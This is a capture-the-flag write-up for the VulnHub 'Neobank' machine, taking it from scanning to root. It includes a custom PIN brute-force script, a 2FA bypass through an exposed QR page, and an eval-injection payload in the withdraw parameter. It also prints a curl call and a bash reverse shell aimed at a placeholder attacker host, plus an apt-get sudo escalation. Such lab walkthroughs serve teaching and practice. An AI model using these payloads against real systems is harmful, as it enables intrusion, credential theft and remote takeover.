Neobank: 1 BOOT2ROOT CTF VULNHUB WRITEUP
Welcome to my writeup on the Neobank machine from VulnHub. In this walkthrough, I will document the entire exploitation process as if conducting a formal penetration test. The objective is to simulate a real-world assessment by identifying and leveraging vulnerabilities to gain root access on the target system. This includes a structured approach involving initial reconnaissance, enumeration, exploitation, and privilege escalation. All steps are outlined clearly, supported with relevant tools and commands used during the engagement. This writeup aims not only to showcase the methodology but also to reinforce key principles in offensive security.

Reconnaissance
We will begin the assessment by performing a network scan using Nmap to identify open ports and potential entry points on the target system.
nmap -A -sC -p- T5 -oN nmap_result.log 192.168.191.78

Next, we navigate to the HTTP service in a web browser to manually inspect the content served by the web server.

Enumeration
The next step involved performing directory enumeration using Gobuster to identify accessible subdirectories on the web server.
gobuster dir -u http://192.168.191.78:5000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 40 -x html,php,txt -q

We then accessed the discovered subdirectory to analyze its contents. The following observations were made:

Given that the page displays a collection of email addresses and the previously discovered login page requires an email for authentication, it was reasonable to assume one of these could be valid credentials. Therefore, the email addresses were extracted and saved to a file named neobank_emails.txt
for further use.

At this stage, it might seem logical to proceed with a brute-force attack using the collected email addresses. While this is a viable option, it's important to first analyze the behavior of the login page when invalid credentials are submitted. This may reveal useful information or unexpected responses that could aid in the next steps.

It is noteworthy that the authentication mechanism does not provide explicit feedback or distinguishable error messages upon submission of invalid credentials. This behavior results in uniform server responses regardless of the legitimacy of the input, effectively obfuscating authentication failure events. Consequently, automated credential brute-forcing tools such as Hydra are rendered ineffective, as these tools depend on differential server responses to ascertain the validity of login attempts. The absence of response variance prevents reliable identification of successful authentications, thereby negating the utility of brute-force methodologies in this context.
However, how can we perform brute forcing under these conditions? While traditional tools may be ineffective, it is still possible to carry out a brute-force attack by developing a custom approach tailored to the system’s specific behavior.
Exploitation
Before developing our brute-force script, it is necessary to generate an appropriate wordlist for potential PINs. Since we already possess a wordlist of email addresses, it is reasonable to assume that the PIN consists of up to six digits. To this end, we will extract numeric passwords of six digits or less from the rockyou.txt
dataset, then sort and filter them accordingly to create a focused PIN wordlist.
To begin, I extracted all numeric values.
cat /usr/share/wordlists/rockyou.txt | egrep "^[0-9]*[0-9]$" > pins.txt
Next, I filtered the numeric values to include only those with six digits or fewer.
cat pins.txt | grep -x '.\{6\}' | sponge pins.txt
With the comprehensive PIN list generated, encompassing all values from 000000 to 999999, we proceeded to develop a custom brute-force script to systematically test these credentials against the target authentication mechanism.
import requests
import sys
# Target endpoint URL for the login form
TARGET_URL = "http://192.168.191.78:5000/login"
# File paths to the wordlists containing email addresses and PINs
EMAIL_LIST_PATH = "neobank_emails.txt"
PIN_LIST_PATH = "pins.txt"
def read_lines_from_file(path):
"""
Reads lines from a file and strips whitespace.
Returns a list of non-empty lines.
Exits the program with an error message if the file can't be read.
"""
try:
with open(path, 'r') as file:
return [line.strip() for line in file if line.strip()]
except Exception as e:
print(f"[!] Failed to read from {path}: {e}")
sys.exit(1)
def attempt_login(email, pin):
"""
Attempts to authenticate to the target URL using the given email and PIN.
Returns True if a valid credential is identified (based on status code and cookies).
"""
session = requests.Session()
payload = {
"email": email,
"pin": pin
}
try:
# Send the POST request with the login form data
response = session.post(TARGET_URL, data=payload)
code = response.status_code
# Log each attempt to track progress and responses
print(f"[*] Attempting {email}:{pin} --> HTTP {code}")
# Heuristic for successful login:
# HTTP 200 OK and exactly one session cookie received
if code == 200 and len(response.cookies) == 1:
print(f"[+] VALID CREDENTIAL FOUND")
print(f" ├── Email : {email}")
print(f" ├── PIN : {pin}")
print(f" └── Status Code : {code}\n")
return True
except requests.RequestException as err:
print(f"[!] Request failed for {email}:{pin} --> {err}")
return False
def main():
"""
Main execution logic:
- Load wordlists for emails and PINs
- Begin brute-force attempts across all combinations
- Stop once a valid credential pair is discovered
"""
emails = read_lines_from_file(EMAIL_LIST_PATH)
pins = read_lines_from_file(PIN_LIST_PATH)
print(f"[*] Loaded {len(emails)} email(s) and {len(pins)} PIN(s).")
print(f"[*] Starting brute-force operation...\n")
# Iterate through all email and PIN combinations
for pin in pins:
for email in emails:
if attempt_login(email, pin):
return # Exit on first valid credential pair found
if __name__ == "__main__":
main()
It’s important to note that the brute-force process may be time-consuming due to the volume of PIN combinations being tested. Patience is required as the operation progresses through each credential pair systematically.

With both the email and corresponding PIN now obtained, we can proceed to authenticate to the target application.

Upon successful login, the application prompts for a second authentication factor—a time-based one-time password (TOTP). However, the challenge lies in locating the secret key or QR code required to configure it in an authenticator app.
I proceeded to enumerate accessible subdirectories and came across one named /qr
gobuster dir -u http://192.168.191.78:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x html,php,txt -q

Navigating to the /qr
directory revealed a QR code, which is commonly used to set up TOTP-based 2FA in authenticator applications.

After scanning the QR code using an authenticator app on my phone, it successfully generated a valid TOTP code.
Upon submitting the 6-digit TOTP code, the application redirected to the following page.

Since it’s a banking system that allows balance withdrawals, let’s go ahead and try withdrawing.

That's odd—why did it turn negative? Seems like there's a logic flaw here. Let's launch Burp Suite and dig deeper.

While reviewing, I identified a URL parameter named withdraw
, which appears to control the amount being withdrawn. To verify its functionality, I modified the parameter to 1
and observed that the application successfully processed the request and returned an appropriate response. This confirms that the withdraw
parameter plays a direct role in the application's transaction logic. Given its behavior and lack of apparent validation, this parameter may potentially serve as an entry point for further exploitation—possibly leading to remote code execution (RCE) if improperly handled on the backend.
After trying different payloads, this one works:
__import__('os').system('curl <attacker_ip>')
All I did is to setup an http server in my attacker machine to see if that request will be sent to the server. and it is.

At this stage, the goal is to establish a reverse shell connection to gain remote access to the target system. For this, I crafted a payload designed to initiate a reverse shell using bash:
/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1'
The next step is to configure a listener on our machine using ncat.
nc -lnvp 1234
Once the payload is delivered to the server, it is expected to establish a shell connection back to us.

Here's our listener:

Within the /var/www/html
directory, I located a file named main.py
. Let’s examine its contents.
from flask import jsonify
from flask import Flask,flash,redirect,render_template,request,session,abort
from passlib.hash import sha256_crypt
import mysql.connector as mariadb
import os
import operator
import pyotp
import pyqrcode
from io import BytesIO
app = Flask(__name__)
con = mariadb.connect(user='banker',password='neobank1',database='bank')
secret = pyotp.random_base32()
@app.route('/')
def home():
if not session.get('logged_in'):
return render_template('login.html')
else:
return render_template('index.html')
@app.route('/login',methods=['POST'])
def do_admin_login():
login = request.form
email = login['email']
pin = login['pin']
cur = con.cursor(buffered=True)
sql = "SELECT pin FROM account WHERE email = %s"
e = (email,)
data = cur.execute(sql,e)
data = cur.fetchone()
if not data:
flash('Wrong email or pin!')
elif sha256_crypt.verify(pin,data[0]):
account = True
if account:
session['logged_in'] = True
session['email'] = email
flash('Success!')
else:
flash('Wrong email or pin!')
return home()
@app.route('/qr',methods=['GET'])
def qrcode():
if session.get('logged_in'):
uri = pyotp.totp.TOTP(secret).provisioning_uri(session['email'],issuer_name="neobank.vln")
totp = pyotp.TOTP(secret)
url = pyqrcode.create(uri)
stream = BytesIO()
url.svg(stream,scale=5)
return stream.getvalue(),200,{
'Content-Type': 'image/svg+xml',
'Cache-Control': 'no-cache, no-store, must-revalidate',
'Pragma': 'no-cache',
'Expires': '0'
}
else:
return render_template('login.html')
@app.route('/otp',methods=['POST','GET'])
def otp():
if session.get('logged_in') and request.method == 'POST':
login = request.form
code = login['otp']
totp = pyotp.TOTP(secret)
if totp.verify(code):
cur = con.cursor(buffered=True)
q = "SELECT email,balance FROM account WHERE email = %s"
e = (session['email'],)
data = cur.execute(q,e)
data = cur.fetchone()
if not data:
return render_template('index.html')
else:
session['data'] = data
return render_template('bank.html',data=data)
else:
return render_template('index.html')
else:
return home()
@app.route('/email_list',methods=['GET'])
def getEmails():
cursor = con.cursor()
cursor.execute("SELECT email FROM account")
emails = cursor.fetchall()
return jsonify(emails)
@app.route('/withdraw', methods=['POST'])
def withdraw():
if session['logged_in']:
amount = request.form['withdraw']
data = session['data']
balance = eval(amount+"-"+data[1])
data = [session['email'],balance]
return render_template('bank.html',data=data)
else:
return home()
@app.route('/logout')
def logout():
session['logged_in'] = False
session['email'] = None
session['data'] = None
return home()
if __name__ == "__main__":
app.secret_key = os.urandom(12)
app.run(debug=False,host='0.0.0.0',port=5000)
It’s important to note that the MariaDB username and password are hard-coded within the script. This indicates that the system utilizes a database management system (DBMS) to store user information, including the email addresses previously discovered. The next step is to attempt logging into the database using these credentials.

Access to the database was successfully gained. Upon inspecting the available databases, I identified one named bank
. Within this database, there are two distinct tables.

The accounts
table contains the user records, including their email addresses and hashed PINs.

Within the system
table, I found the plaintext password associated with the user named banker
.

Now let's switch to user banker
.
su banker

At this point, we successfully compromised the user banker
and obtained the user-level flag.

With initial access established, the next objective is to escalate privileges and gain root access. To begin the privilege escalation process, I examined which commands could be executed with elevated privileges by running sudo -l
.

It appears that the apt-get
command can be executed with elevated privileges via sudo
. This is significant because apt-get
is a package management tool used on Debian-based systems (such as Ubuntu) to install, upgrade, and manage software packages. When misconfigured or unrestricted under sudo
, it can be leveraged to escalate privileges—potentially allowing an attacker to gain root access through methods like installing packages with post-installation scripts.
To explore potential ways to leverage apt-get
for privilege escalation, I consulted GTFOBins—a well-known resource that documents how common Linux binaries can be exploited when misconfigured.

The apt-get changelog
command downloads the changelog over HTTP or HTTPS and opens it using the default pager (usually less
, more
, etc.). If that pager allows us to run shell commands, then we can escape to a shell from inside the pager.

At this point, it's evident that privilege escalation is possible. Executing the final command and pressing Enter should result in a root shell being spawned.

Root access has been successfully obtained—Neobank has been fully compromised.

Conclusion
This assessment successfully demonstrated a full compromise of the Neobank machine hosted on VulnHub. The engagement began with reconnaissance using nmap
, followed by web enumeration that led to the discovery of exposed subdirectories and email data. By leveraging this information, a custom brute-force script was developed to bypass an intentionally vague login mechanism and identify valid credentials.
Subsequently, a time-based two-factor authentication (2FA) challenge was bypassed by locating and scanning a QR code linked to a TOTP generator. Post-authentication, parameter tampering was observed in the withdraw
functionality, which ultimately provided a foothold for Remote Code Execution (RCE) via a crafted reverse shell payload.
Privilege escalation was achieved by identifying apt-get
as an executable command with elevated privileges through sudo
. Utilizing guidance from GTFOBins, the misconfiguration was exploited to gain root access.
The engagement successfully uncovered multiple security flaws across the attack chain—from information disclosure and weak authentication mechanisms to improper input handling and insecure privilege escalation paths—highlighting critical areas that need to be addressed in the application and system configuration to improve overall security posture.
Last updated